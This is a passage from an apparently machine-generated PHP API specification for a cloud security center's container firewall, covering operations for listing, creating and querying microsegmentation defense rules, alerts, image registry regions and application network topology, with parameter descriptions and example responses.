\\"Count\\": 20\\n },\\n \\"InterceptionRuleList\\": [\\n {\\n \\"RuleType\\": \\"customize\\",\\n \\"RuleSwitch\\": 1,\\n \\"RuleId\\": 0,\\n \\"RuleName\\": \\"test\\",\\n \\"SrcTarget\\": {\\n \\"AppName\\": \\"ack-jenkins-lawr****\\",\\n \\"RuleType\\": \\"customize\\",\\n \\"TargetId\\": 0,\\n \\"TargetName\\": \\"mhh-te****\\",\\n \\"Namespace\\": \\"jenkins\\",\\n \\"TargetType\\": \\"containerId\\",\\n \\"ImageList\\": [\\n \\"nginx:1.****\\"\\n ],\\n \\"TagList\\": [\\n \\"bpm\\"\\n ]\\n },\\n \\"DstTarget\\": {\\n \\"AppName\\": \\"console\\",\\n \\"RuleType\\": \\"customize\\",\\n \\"TargetId\\": 302001,\\n \\"TargetName\\": \\"demo4****\\",\\n \\"Namespace\\": \\"test\\",\\n \\"TargetType\\": \\"IMAGE\\",\\n \\"Ports\\": [\\n \\"{\\\\\\"tcp\\\\\\":\\\\\\"1234\\\\\\",\\\\\\"udp\\\\\\":\\\\\\"5555\\\\\\"}\\"\\n ],\\n \\"ImageList\\": [\\n \\"nacos:v2.0****\\"\\n ],\\n \\"TagList\\": [\\n \\"111\\"\\n ]\\n },\\n \\"OrderIndex\\": 1,\\n \\"InterceptType\\": 1\\n }\\n ]\\n}","type":"json"}]', 'title' => 'ListInterceptionRulePage', ], 'ListInterceptionHistory' => [ 'summary' => 'Queries the alerts generated by defense rules.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', ], 'parameters' => [ [ 'name' => 'HistoryName', 'in' => 'query', 'schema' => [ 'description' => 'The name of the alert.'."\n", 'type' => 'string', 'required' => false, 'example' => 'Abnormal access'."\n", ], ], [ 'name' => 'StartTime', 'in' => 'query', 'schema' => [ 'description' => 'The start of the time range to query. The value is a UNIX timestamp.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '1651290987000', ], ], [ 'name' => 'EndTime', 'in' => 'query', 'schema' => [ 'description' => 'The end of the time range to query. The value is a UNIX timestamp.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '1635575219000', ], ], [ 'name' => 'PageSize', 'in' => 'query', 'schema' => [ 'description' => 'The number of entries to return on each page.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '20', ], ], [ 'name' => 'CurrentPage', 'in' => 'query', 'schema' => [ 'description' => 'The number of the page to return.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], ], [ 'name' => 'InterceptionTypes', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'The types of exceptions.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The type of the exception. Valid values:'."\n" ."\n" .'* **1**: intercept'."\n" .'* **2**: generate alert'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], 'required' => false, 'maxItems' => 1000, ], ], [ 'name' => 'ClusterId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the container cluster.'."\n", 'type' => 'string', 'required' => false, 'example' => 'c7c190a82d9a048be9038d352840f****', ], ], [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and response. Default value: **zh**. Valid values:'."\n" ."\n" .'* **zh**: Chinese'."\n" .'* **en**: English'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'description' => 'The response body.'."\n", 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => 'D81DD78E-E006-5C65-A171-C8CB0904****', ], 'PageInfo' => [ 'description' => 'The pagination information.'."\n", 'type' => 'object', 'properties' => [ 'CurrentPage' => [ 'description' => 'The page number of the returned page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'PageSize' => [ 'description' => 'The number of entries returned per page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '20', ], 'TotalCount' => [ 'description' => 'The total number of entries returned.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '45', ], 'Count' => [ 'description' => 'The number of entries returned on the current page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '10', ], ], ], 'InterceptionHistoryList' => [ 'description' => 'An array that consists of the alerts generated by defense rules.', 'type' => 'array', 'items' => [ 'description' => 'The alert generated by defense rules.'."\n", 'type' => 'object', 'properties' => [ 'SrcNamespace' => [ 'description' => 'The source namespace.'."\n", 'type' => 'string', 'example' => 'service****', ], 'SrcRuleTargetName' => [ 'description' => 'The name of the source network object.'."\n", 'type' => 'string', 'example' => 'sas-web****', ], 'RiskLevel' => [ 'description' => 'The risk level. Valid values:'."\n" ."\n" .'* **-1**: unknown'."\n" .'* **0**: none'."\n" .'* **1**: low'."\n" .'* **2**: medium'."\n" .'* **3**: high'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1', ], 'Status' => [ 'description' => 'The handling status. Valid values:'."\n" ."\n" .'* **0**: unhandled'."\n" .'* **1**: handled'."\n" .'* **2**: manually handled'."\n" .'* **3**: ignored'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1', ], 'DstPort' => [ 'description' => 'The destination port range configured for the defense rule.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '33', ], 'FirstTime' => [ 'description' => 'The timestamp when the alert was first generated on the current day.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1639718858000', ], 'SrcAppName' => [ 'description' => 'The name of the source application.'."\n", 'type' => 'string', 'example' => 'sas-web****', ], 'RuleId' => [ 'description' => 'The ID of the defense rule based on which the alert was generated.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '136', ], 'RuleName' => [ 'description' => 'The name of the defense rule.'."\n", 'type' => 'string', 'example' => 'all****', ], 'InterceptionName' => [ 'description' => 'The name of the alert.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => 'Abnormal access'."\n", ], 'DstNamespace' => [ 'description' => 'The destination namespace.'."\n", 'type' => 'string', 'example' => 'service****', ], 'LastTime' => [ 'description' => 'The timestamp when the alert was last generated on the current day.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1639731078000', ], 'DstAppName' => [ 'description' => 'The name of the destination application.'."\n", 'type' => 'string', 'example' => 'sas-web****', ], 'DstRuleTargetName' => [ 'description' => 'The name of the destination network object.'."\n", 'type' => 'string', 'example' => 'sas-web****', ], 'ClusterName' => [ 'description' => 'The name of the cluster.'."\n", 'type' => 'string', 'example' => 'opa-terway-nonet****', ], 'TryCount' => [ 'description' => 'The number of attempts.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '34', ], 'InterceptionType' => [ 'description' => 'The handling type. Valid values:'."\n" ."\n" .'* **0**: monitor'."\n" .'* **1**: intercept'."\n" .'* **2**: generate alert'."\n" .'* **3**: allow'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '0', ], 'RealInterceptionType' => [ 'description' => 'The handling type of actual hits. Valid values:'."\n" ."\n" .'* **0**: monitor'."\n" .'* **1**: intercept'."\n" .'* **2**: generate alert'."\n" .'* **3**: allow'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '0', ], 'Id' => [ 'description' => 'The ID of the alert.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1126', ], 'ClusterId' => [ 'description' => 'The ID of the container cluster.'."\n", 'type' => 'string', 'example' => 'c556c8133b5ad4378b7fc533ddbda****', ], 'RealSrcAppName' => [ 'description' => 'The name of the source application.'."\n", 'type' => 'string', 'example' => 'sas-service****', ], 'RealSrcPodName' => [ 'description' => 'The source pod.'."\n", 'type' => 'string', 'example' => 'sas-service-757b9d****', ], 'RealDstAppName' => [ 'description' => 'The name of the destination application.'."\n", 'type' => 'string', 'example' => 'sas-service****', ], 'RealDstPodName' => [ 'description' => 'The destination pod.'."\n", 'type' => 'string', 'example' => 'sas-web-84cc7dd9****', ], 'RealDstNamespace' => [ 'description' => 'The destination namespace.'."\n", 'type' => 'string', 'example' => 'service****', ], 'RealDstImageName' => [ 'description' => 'The name of the destination image.'."\n", 'type' => 'string', 'example' => 'sas-servi****', ], 'RealSrcNamespace' => [ 'description' => 'The source namespace.'."\n", 'type' => 'string', 'example' => 'service****', ], 'RealSrcImageName' => [ 'description' => 'The name of the source image.'."\n", 'type' => 'string', 'example' => 'sas-servi****'."\n", ], ], ], ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"D81DD78E-E006-5C65-A171-C8CB0904****\\",\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 45,\\n \\"Count\\": 10\\n },\\n \\"InterceptionHistoryList\\": [\\n {\\n \\"SrcNamespace\\": \\"service****\\",\\n \\"SrcRuleTargetName\\": \\"sas-web****\\",\\n \\"RiskLevel\\": 1,\\n \\"Status\\": 1,\\n \\"DstPort\\": 33,\\n \\"FirstTime\\": 1639718858000,\\n \\"SrcAppName\\": \\"sas-web****\\",\\n \\"RuleId\\": 136,\\n \\"RuleName\\": \\"all****\\",\\n \\"InterceptionName\\": 0,\\n \\"DstNamespace\\": \\"service****\\",\\n \\"LastTime\\": 1639731078000,\\n \\"DstAppName\\": \\"sas-web****\\",\\n \\"DstRuleTargetName\\": \\"sas-web****\\",\\n \\"ClusterName\\": \\"opa-terway-nonet****\\",\\n \\"TryCount\\": 34,\\n \\"InterceptionType\\": 0,\\n \\"RealInterceptionType\\": 0,\\n \\"Id\\": 1126,\\n \\"ClusterId\\": \\"c556c8133b5ad4378b7fc533ddbda****\\",\\n \\"RealSrcAppName\\": \\"sas-service****\\",\\n \\"RealSrcPodName\\": \\"sas-service-757b9d****\\",\\n \\"RealDstAppName\\": \\"sas-service****\\",\\n \\"RealDstPodName\\": \\"sas-web-84cc7dd9****\\",\\n \\"RealDstNamespace\\": \\"service****\\",\\n \\"RealDstImageName\\": \\"sas-servi****\\",\\n \\"RealSrcNamespace\\": \\"service****\\",\\n \\"RealSrcImageName\\": \\"sas-servi****\\\\n\\"\\n }\\n ]\\n}","type":"json"}]', 'title' => 'ListInterceptionHistory', ], 'CreateInterceptionRule' => [ 'summary' => 'Creates a defense rule in the container firewall module.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'create', ], 'parameters' => [ [ 'name' => 'ClusterId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the container cluster.'."\n" ."\n" .'> You can call the [DescribeGroupedContainerInstances](~~DescribeGroupedContainerInstances~~) operation to query the IDs of container clusters.'."\n", 'type' => 'string', 'required' => true, 'example' => 'c35xxxa416', ], ], [ 'name' => 'RuleName', 'in' => 'query', 'schema' => [ 'description' => 'The name of the defense rule.'."\n", 'type' => 'string', 'required' => true, 'example' => 'test-rule-1', ], ], [ 'name' => 'RuleSwitch', 'in' => 'query', 'schema' => [ 'description' => 'Specifies the status of the defense rule. Valid values:'."\n" ."\n" .'* **0**: disables the rule.'."\n" .'* **1**: enables the rule.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => true, 'example' => '0', ], ], [ 'name' => 'SrcTarget', 'in' => 'query', 'style' => 'json', 'schema' => [ 'description' => 'The source network object. The value of this parameter contains the following field:'."\n" ."\n" .'* targetId: the ID of the source network object. You can call the [ListInterceptionTargetPage](~~ListInterceptionTargetPage~~) operation to query the ID.'."\n", 'type' => 'object', 'required' => false, 'example' => '{"targetId":301940}', ], ], [ 'name' => 'DstTargetList', 'in' => 'query', 'style' => 'json', 'schema' => [ 'description' => 'The information about the destination network object. The value of this parameter contains the following fields:'."\n" ."\n" .'* targetId: the ID of the destination network object. You can call the [ListInterceptionTargetPage](~~ListInterceptionTargetPage~~) operation to query the ID.'."\n" .'* ports: the destination port ranges.'."\n", 'type' => 'object', 'required' => false, 'example' => '['."\n" .' {'."\n" .' "targetId": 600036,'."\n" .' "ports": ['."\n" .' "1/65535"'."\n" .' ]'."\n" .' }'."\n" .']', ], ], [ 'name' => 'RuleType', 'in' => 'query', 'schema' => [ 'description' => 'The type of the defense rule. Valid values:'."\n" ."\n" .'* customize: custom rule'."\n", 'type' => 'string', 'required' => false, 'example' => 'customize', ], ], [ 'name' => 'ClusterName', 'in' => 'query', 'schema' => [ 'description' => 'The name of the cluster.'."\n", 'type' => 'string', 'required' => true, 'example' => 'sas-test-cnnf', ], ], [ 'name' => 'OrderIndex', 'in' => 'query', 'schema' => [ 'description' => 'The priority of the defense rule. Valid values: 1 to 1000. A smaller value indicates a higher priority.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => true, 'example' => '1', ], ], [ 'name' => 'InterceptType', 'in' => 'query', 'schema' => [ 'description' => 'The action on traffic. Valid values:'."\n" ."\n" .'* **1**: blocks traffic.'."\n" .'* **2**: allows traffic and generates alerts.'."\n" .'* **3**: allows traffic and does not generate alerts.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => true, 'example' => '1', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => 'A01810A0-xxx5E2676', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"A01810A0-xxx5E2676\\"\\n}","type":"json"}]', 'title' => 'CreateInterceptionRule', ], 'CreateInterceptionTarget' => [ 'summary' => 'Creates a defense object.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'create', 'abilityTreeCode' => '91928', 'abilityTreeNodes' => [ 'FEATUREsas5HPCI8', ], 'tenantRelevance' => 'publicInformation', ], 'parameters' => [ [ 'name' => 'TargetName', 'in' => 'query', 'schema' => [ 'description' => 'The name of the object to be blocked.'."\n", 'type' => 'string', 'required' => true, 'example' => 'test', ], ], [ 'name' => 'TargetType', 'in' => 'query', 'schema' => [ 'description' => 'The object type. Valid value:'."\n" ."\n" .'* **IMAGE**'."\n", 'type' => 'string', 'required' => true, 'example' => 'IMAGE', ], ], [ 'name' => 'Namespace', 'in' => 'query', 'schema' => [ 'description' => 'The namespace to which the network object belongs.'."\n", 'type' => 'string', 'required' => true, 'example' => 'default', ], ], [ 'name' => 'AppName', 'in' => 'query', 'schema' => [ 'description' => 'The name of the application to which the network object belongs.'."\n", 'type' => 'string', 'required' => false, 'example' => 'frontend', ], ], [ 'name' => 'ImageList', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'An array that consists of the images of the network object.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The information about the image.'."\n", 'type' => 'string', 'required' => false, 'example' => 'jenkins-master:2.277', ], 'required' => false, 'maxItems' => 1000, ], ], [ 'name' => 'TagList', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'An array that consists of the labels specified for the network object.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The information about the tag.'."\n", 'type' => 'string', 'required' => false, 'example' => 'app.kubernetes.io/instance:cas0-oms', ], 'required' => false, 'maxItems' => 1000, ], ], [ 'name' => 'ClusterId', 'in' => 'query', 'schema' => [ 'description' => 'The cluster ID.'."\n", 'type' => 'string', 'required' => false, 'example' => 'cc20a1024011c44b6a8710d6f8b****', ], ], [ 'name' => 'ClusterName', 'in' => 'query', 'schema' => [ 'description' => 'The cluster name.'."\n", 'type' => 'string', 'required' => false, 'example' => 'sas-test-cnnf', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'type' => 'object', 'properties' => [ 'Result' => [ 'description' => 'The response parameters.'."\n", 'type' => 'boolean', 'example' => 'true', ], 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => '5B9ECCC0-38F7-***', ], ], 'description' => '', ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'eventInfo' => [ 'enable' => false, 'eventNames' => [], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Result\\": true,\\n \\"RequestId\\": \\"5B9ECCC0-38F7-***\\"\\n}","type":"json"}]', 'title' => 'CreateInterceptionTarget', ], 'GetInterceptionRuleDetail' => [ 'summary' => 'Queries the details of a microsegmentation defense rule.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', ], 'parameters' => [ [ 'name' => 'ClusterId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the container cluster.'."\n" ."\n" .'> You can call the [DescribeGroupedContainerInstances](~~DescribeGroupedContainerInstances~~) operation to query the IDs of container clusters.'."\n", 'type' => 'string', 'required' => true, 'example' => 'c7f60fdabc84xxx', ], ], [ 'name' => 'RuleId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the rule.'."\n" ."\n" .'> You can call the [ListInterceptionRulePage](~~ListInterceptionRulePage~~) operation to query the IDs of rules.'."\n", 'type' => 'string', 'required' => true, 'example' => '500002', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => '9FBC6E47-7508-xxx', ], 'InterceptionRuleDetail' => [ 'description' => 'The details of the rule.'."\n", 'type' => 'object', 'properties' => [ 'RuleType' => [ 'description' => 'The type of the rule. Valid values:'."\n" ."\n" .'* **suggest**: a suggestion rule'."\n" .'* **customize**: a custom rule'."\n", 'type' => 'string', 'enumValueTitles' => [ 'suggest' => 'suggest', 'customize' => 'customize', ], 'example' => 'customize', ], 'RuleSwitch' => [ 'description' => 'The status of the defense rule. Valid values:'."\n" ."\n" .'* **1**: The rule is enabled.'."\n" .'* **0**: The rule is disabled.'."\n", 'type' => 'integer', 'format' => 'int32', 'enumValueTitles' => [ '0', '1', ], 'example' => '1', ], 'RuleId' => [ 'description' => 'The ID of the rule.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '467', ], 'RuleName' => [ 'description' => 'The name of the rule.'."\n", 'type' => 'string', 'example' => 'dmz-frontend-accept', ], 'SrcTarget' => [ 'description' => 'The source network object.'."\n", 'type' => 'object', 'properties' => [ 'AppName' => [ 'description' => 'The name of the application.'."\n", 'type' => 'string', 'example' => 'console', ], 'RuleType' => [ 'description' => 'The type of the rule.'."\n", 'type' => 'string', 'example' => 'customize', ], 'TargetId' => [ 'description' => 'The ID of the network object.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '300635', ], 'TargetName' => [ 'description' => 'The name of the object.'."\n", 'type' => 'string', 'example' => 'dmz', ], 'Namespace' => [ 'description' => 'The namespace to which the network object belongs.'."\n", 'type' => 'string', 'example' => 'default', ], 'TargetType' => [ 'description' => 'The type of the network object.'."\n", 'type' => 'string', 'example' => 'IMAGE', ], 'ImageList' => [ 'description' => 'The images of the network object.'."\n", 'type' => 'array', 'items' => [ 'description' => 'An array that consists of images.'."\n", 'type' => 'string', 'example' => 'arms-prom-operator:v0.1', ], ], 'TagList' => [ 'description' => 'The labels specified for the network object.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The labels specified for the network object.'."\n", 'type' => 'string', 'example' => 'service:be-v1', ], ], ], ], 'DstTarget' => [ 'description' => 'The destination network object.'."\n", 'type' => 'object', 'properties' => [ 'AppName' => [ 'description' => 'The name of the application.'."\n", 'type' => 'string', 'example' => 'console', ], 'RuleType' => [ 'description' => 'The type of the rule.'."\n", 'type' => 'string', 'example' => 'customize', ], 'TargetId' => [ 'description' => 'The ID of the network object.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '200014', ], 'TargetName' => [ 'description' => 'The name of the object.'."\n", 'type' => 'string', 'example' => 'demo4-be1', ], 'Namespace' => [ 'description' => 'The namespace to which the network object belongs.'."\n", 'type' => 'string', 'example' => 'kube-system', ], 'TargetType' => [ 'description' => 'The type of the network object.'."\n", 'type' => 'string', 'example' => 'IMAGE', ], 'Ports' => [ 'description' => 'An array that consists of the port range of the destination network object.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The port range of the destination network object.'."\n", 'type' => 'string', 'example' => '80/8080', ], ], 'ImageList' => [ 'description' => 'An array that consists of the name of the image specified for the network object.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The name of the image specified for the network object.'."\n", 'type' => 'string', 'example' => 'bj_storage:nginx1', ], ], 'TagList' => [ 'description' => 'An array that consists of the labels specified for the network object.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The labels specified for the network object.'."\n", 'type' => 'string', 'example' => 'chart:ack-arms-prometheus-1.1.0', ], ], ], ], 'InterceptType' => [ 'description' => 'The interception mode. Valid values:'."\n" ."\n" .'* **0**: monitor'."\n" .'* **1**: block'."\n" .'* **2**: alert'."\n" .'* **3**: allow'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1', ], 'OrderIndex' => [ 'description' => 'The priority of the rule. Valid values: 1 to 1000. A smaller value indicates a higher priority.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1', ], ], ], ], 'description' => '', ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"9FBC6E47-7508-xxx\\",\\n \\"InterceptionRuleDetail\\": {\\n \\"RuleType\\": \\"customize\\",\\n \\"RuleSwitch\\": 1,\\n \\"RuleId\\": 467,\\n \\"RuleName\\": \\"dmz-frontend-accept\\",\\n \\"SrcTarget\\": {\\n \\"AppName\\": \\"console\\",\\n \\"RuleType\\": \\"customize\\",\\n \\"TargetId\\": 300635,\\n \\"TargetName\\": \\"dmz\\",\\n \\"Namespace\\": \\"default\\",\\n \\"TargetType\\": \\"IMAGE\\",\\n \\"ImageList\\": [\\n \\"arms-prom-operator:v0.1\\"\\n ],\\n \\"TagList\\": [\\n \\"service:be-v1\\"\\n ]\\n },\\n \\"DstTarget\\": {\\n \\"AppName\\": \\"console\\",\\n \\"RuleType\\": \\"customize\\",\\n \\"TargetId\\": 200014,\\n \\"TargetName\\": \\"demo4-be1\\",\\n \\"Namespace\\": \\"kube-system\\",\\n \\"TargetType\\": \\"IMAGE\\",\\n \\"Ports\\": [\\n \\"80/8080\\"\\n ],\\n \\"ImageList\\": [\\n \\"bj_storage:nginx1\\"\\n ],\\n \\"TagList\\": [\\n \\"chart:ack-arms-prometheus-1.1.0\\"\\n ]\\n },\\n \\"InterceptType\\": 1,\\n \\"OrderIndex\\": 1\\n }\\n}","type":"json"}]', 'title' => 'GetInterceptionRuleDetail', ], 'ListImageRegistryRegion' => [ 'summary' => 'Queries the regions in which you can add self-managed image repositories to Security Center.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'get', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeNodes' => [ 'FEATUREsasF0IRDR', ], ], 'parameters' => [ [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'type' => 'string', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'description' => 'The data returned.'."\n", 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '291B49F9-1685-4005-9D34-606B6F78****', ], 'Regions' => [ 'description' => 'An array that consists of regions.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The region.'."\n", 'type' => 'object', 'properties' => [ 'RegionName' => [ 'description' => 'The name of the region.'."\n", 'type' => 'string', 'example' => 'cn-hangzhou', ], 'RegionId' => [ 'description' => 'The region ID of the image.'."\n", 'type' => 'string', 'example' => 'cn-hangzhou', ], ], ], ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"291B49F9-1685-4005-9D34-606B6F78****\\",\\n \\"Regions\\": [\\n {\\n \\"RegionName\\": \\"cn-hangzhou\\",\\n \\"RegionId\\": \\"cn-hangzhou\\"\\n }\\n ]\\n}","type":"json"}]', 'title' => 'ListImageRegistryRegion', ], 'GetAppNetwork' => [ 'summary' => 'Queries the network topology between containerized applications.', 'methods' => [ 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', ], 'parameters' => [ [ 'name' => 'StartTime', 'in' => 'query', 'schema' => [ 'description' => 'The start timestamp of the query. Unit: milliseconds.'."\n" ."\n" .'> The days between the start timestamp and the end timestamp cannot exceed **seven** days.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '1649260800000', ], ], [ 'name' => 'EndTime', 'in' => 'query', 'schema' => [ 'description' => 'The end timestamp of the query. Unit: milliseconds.'."\n" ."\n" .'> The days between the start timestamp and the end timestamp cannot exceed **seven** days.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '1650470399999', ], ], [ 'name' => 'ClusterId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the cluster to which the container belongs.'."\n" ."\n" .'> You can call the [DescribeGroupedContainerInstances](~~DescribeGroupedContainerInstances~~) operation to query the IDs of container clusters.'."\n", 'type' => 'string', 'required' => false, 'example' => 'cf77xxx', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'title' => 'Schema of Response', 'description' => 'Schema of Response'."\n", 'type' => 'object', 'properties' => [ 'RequestId' => [ 'title' => 'Id of the request', 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => '7D46EDB0-xxx', ], 'AppNetwork' => [ 'description' => 'The information about the application network topology.'."\n", 'type' => 'object', 'properties' => [ 'Node' => [ 'description' => 'The information about the application node.'."\n", 'type' => 'array', 'items' => [ 'description' => '', 'type' => 'object', 'properties' => [ 'RiskLevel' => [ 'description' => 'The risk level. Valid values:'."\n" ."\n" .'* **3**: high'."\n" .'* **2**: medium'."\n" .'* **1**: low'."\n" .'* **0**: warning'."\n" .'* **-1**: unknown'."\n", 'type' => 'string', 'example' => '0', ], 'Id' => [ 'description' => 'The ID of the node.'."\n", 'type' => 'string', 'example' => '1274', ], 'NamespaceId' => [ 'description' => 'The ID of the namespace.'."\n", 'type' => 'string', 'example' => '1', ], 'ContainerIds' => [ 'description' => 'The list of the container IDs.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The ID of the container.'."\n", 'type' => 'string', 'example' => '10a6c3fbaaxxx', ], ], 'Type' => [ 'description' => 'The type of the node. Valid values:'."\n" ."\n" .'* **app**: an application'."\n" .'* **internet**: a network node in another cluster'."\n", 'type' => 'string', 'enumValueTitles' => [], 'example' => 'app', ], 'Name' => [ 'description' => 'The name of the node.'."\n", 'type' => 'string', 'example' => 'console', ], ], ], ], 'Edge' => [ 'description' => 'The information about the topology edge.'."\n", 'type' => 'array', 'items' => [ 'description' => '', 'type' => 'object', 'properties' => [ 'Id' => [ 'description' => 'The ID of the edge.'."\n", 'type' => 'string', 'example' => '3534', ], 'SrcNodeId' => [ 'description' => 'The ID of the source node.'."\n", 'type' => 'string', 'example' => '101', ], 'SrcNodeType' => [ 'description' => 'The type of the source node. Valid values:'."\n" ."\n" .'* **app**: an application'."\n" .'* **internet**: a network node in another cluster'."\n", 'type' => 'string', 'example' => 'app', ], 'DstNodeId' => [ 'description' => 'The ID of the destination node.'."\n", 'type' => 'string', 'example' => '102', ], 'DstNodeType' => [ 'description' => 'The type of the destination node. Valid values:'."\n" ."\n" .'* **app**: an application'."\n" .'* **internet**: a network node in another cluster'."\n", 'type' => 'string', 'example' => 'app', ], 'Port' => [ 'description' => 'The number of the destination port.'."\n", 'type' => 'string', 'example' => '8080', ], ], ], ], 'Namespace' => [ 'description' => 'The namespace.'."\n", 'type' => 'array', 'items' => [ 'description' => '', 'type' => 'object', 'properties' => [ 'Id' => [ 'description' => 'The ID of the namespace.'."\n", 'type' => 'string', 'example' => '1', ], 'Name' => [ 'description' => 'The name of the custom namespace.'."\n", 'type' => 'string', 'example' => 'default', ], ], ], ], ], ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": 